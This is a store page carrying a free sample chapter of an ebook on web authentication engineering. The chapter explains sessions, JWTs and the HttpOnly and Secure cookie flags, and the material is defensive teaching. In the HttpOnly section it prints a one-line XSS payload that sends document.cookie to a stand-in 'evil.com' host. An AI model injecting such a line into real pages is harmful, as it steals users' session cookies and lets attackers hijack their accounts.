Web Authentication Engineer eBook
A Coursebook on Web Authentication Engineer
A Coursebook on Web Authentication Engineer
Formats
Free sample
Chapter 1: The $10 Million Cookie--–- The breach report landed in my inbox at 11:47 PM on a Tuesday. Forty-seven million user records exposed. A publicly traded company's stock dropped 31 percent before the markets opened the next morning. The root cause, buried on page fourteen of the forensic analysis, was a single line of code: Http Only: false. One missing flag on a session cookie.
That is all it took.This chapter is not an introduction. It is an intervention. If you take nothing else from this book, understand this: authentication failures are rarely sophisticated. They are not the work of nation-state actors deploying zero-day exploits against your carefully crafted cryptography. They are, overwhelmingly, the result of basic misunderstandings about how the web actually works.
Engineers forget that HTTP has no memory. They assume that once a user logs in, the system will somehow "just know" who they are. They reach for libraries without understanding what those libraries do. And then, at 2:00 AM, the phone rings.I have been that engineer. I have answered that phone call.
I have explained to a room full of executives why a missing flag, a misconfigured header, or a misplaced token cost their company millions. This book exists to ensure you never have to make that same call.Before we can build secure authentication, we must understand the battlefield. The web is stateless by design. Every HTTP request is a blank slate, carrying no memory of the request that came before it. This statelessness is what makes the web scalable—a server can handle billions of requests without maintaining persistent connections—but it also creates the fundamental problem of authentication: how does a system remember who you are across multiple requests?The answer, for the first twenty years of the web, was sessions.
You would log in with a username and password. The server would verify your credentials, generate a random session identifier, store that identifier in a database or Redis cache alongside your user ID, and send the identifier back to your browser as a cookie. On every subsequent request, your browser would present that cookie. The server would look up the session ID, find your user ID, and know who you were making the request.Sessions work. They are simple, battle-tested, and secure when implemented correctly.
But they have a scaling problem. The server must store every active session somewhere. If you have ten million concurrent users, you need a ten-million-entry session store. That store becomes a single point of failure, a performance bottleneck, and a complex distributed system problem. Enter tokens.Token-based authentication flips the model.
Instead of storing session state on the server, the server cryptographically signs a self-contained token—typically a JSON Web Token (JWT)—and gives it to the client. The client stores the token and presents it on every request. The server verifies the signature, checks the expiration, and extracts the user ID directly from the token. No session store required. No database lookup on every request.
Stateless authentication for a stateless protocol.But tokens introduce their own problems, which we will explore in Chapter 6. Tokens must be stored somewhere on the client. They must be revoked when a user logs out. They cannot be invalidated without a revocation list, which brings back the session store problem. And, most critically for this chapter, tokens are only as secure as the mechanism that carries them between client and server.That mechanism is the HTTP cookie.The Anatomy of a Cookie Cookies were invented in 1994 by Lou Montulli at Netscape.
They solved a real problem: the web could not remember shopping cart contents between page views. Montulli's solution was a small text file that the browser would store and send back to the server on every request. The name "cookie" came from "magic cookie," a programming term for a piece of data passed between subroutines.A cookie is, at its core, a name-value pair with associated attributes. When you log into a website, the server sends a response containing a Set-Cookie header:text Copy Download Set-Cookie: session Id=abc123def456; Path=/; Secure; Http Only; Same Site=Lax; Max-Age=3600Your browser stores this cookie and, for every subsequent request to that domain, includes it in the Cookie header:text Copy Download Cookie: session Id=abc123def456This automatic sending is both the beauty and the danger of cookies. The beauty: you do not need to write Java Script to include the session identifier in every API call.
The browser handles it automatically. The danger: the browser sends cookies on every request, including requests that your page did not intentionally make—requests initiated by a third-party script, a malicious image embed, or a cross-site form submission.This is where the security attributes become critical.The Http Only Flag The Http Only flag tells the browser that this cookie should not be accessible to client-side Java Script. document.cookie will not return it. fetch() cannot read it. No script, legitimate or malicious, can exfiltrate its value.Here is what happens when you omit Http Only:An attacker finds a cross-site scripting (XSS) vulnerability in your application—maybe a comment field that does not properly escape HTML, maybe a third-party analytics script that gets compromised, maybe a malicious browser extension that a user installed.
That attacker injects a single line of Java Script:javascript Copy Downloadfetch('https://evil.com/steal?cookie=' + document.cookie);Every cookie on your domain, including your session cookie, is sent to the attacker's server. The attacker takes your session cookie, loads your website, replaces their cookie with yours, and becomes you. No password needed. No two-factor authentication bypass required. The session is theirs.The Http Only flag prevents this entirely.
If your session cookie is Http Only, document.cookie returns nothing. The injected Java Script cannot steal it. The XSS vulnerability remains a problem—the attacker could still deface your site or redirect users—but they cannot hijack sessions.The rule is simple: any cookie that contains a session identifier, a refresh token, or any credential that authenticates a user MUST have the Http Only flag. There are no exceptions.The Secure Flag The Secure flag tells the browser to send this cookie only over HTTPS—never over plain HTTP. If a cookie lacks the Secure flag, the browser will happily transmit it over an unencrypted connection.Here is the attack:A user connects to your website from a coffee shop, airport, or hotel.
The Wi-Fi network is compromised, as many public networks are. The attacker runs a tool like Better CAP or Evilginx, performing a man-in-the-middle attack. They intercept every HTTP request leaving the user's device. If your login page uses HTTPS (it should), but your subsequent requests fall back to HTTP (they should not), the attacker sees the cookie in plain text. They capture it, replay it, and hijack the session.Even if you believe your entire site uses HTTPS, you should still set the Secure flag.
Browsers sometimes make HTTP requests due to developer mistakes, misconfigured load balancers, or old bookmarks. The Secure flag is a last line of defense, ensuring that even if an HTTP request slips through, the cookie stays home.The rule: any cookie that…
This is the end of the free sample. Get the eBook to keep going. Buy now
About this book
Details
- Author
- Lowell Jaymie
- Publisher
- SamEnrico
- Language
- English
- Genre
- Non-Fiction, Informative, Educational
- Released
- 2026-06-02
- Pages (approx.)
- 159
- Available as
- eBook, Audiobook
Read better in the ZLOADR app
Your eBooks on your phone or tablet. Sign in with your SamEnrico account and start reading.
More by Lowell Jaymie
Inclusive Language Cheat SheetLowell Jaymie$11.99
Financial Literacy LegacyLowell Jaymie$11.99
Celebrating Longevity MilestonesLowell Jaymie$11.99
Walking Program for SeniorsLowell Jaymie$11.99
The Postpartum Depression GuideLowell Jaymie$11.99
The Serpent’s Gambit: How the Trickster Stole the World’s SecretsLowell Jaymie$11.99
Nonprofit Climate InsuranceLowell Jaymie$12.99
Estate Tax Payment PlansLowell Jaymie$12.99
How to Become a Continuous-absorption-process OperatorLowell Jaymie$11.99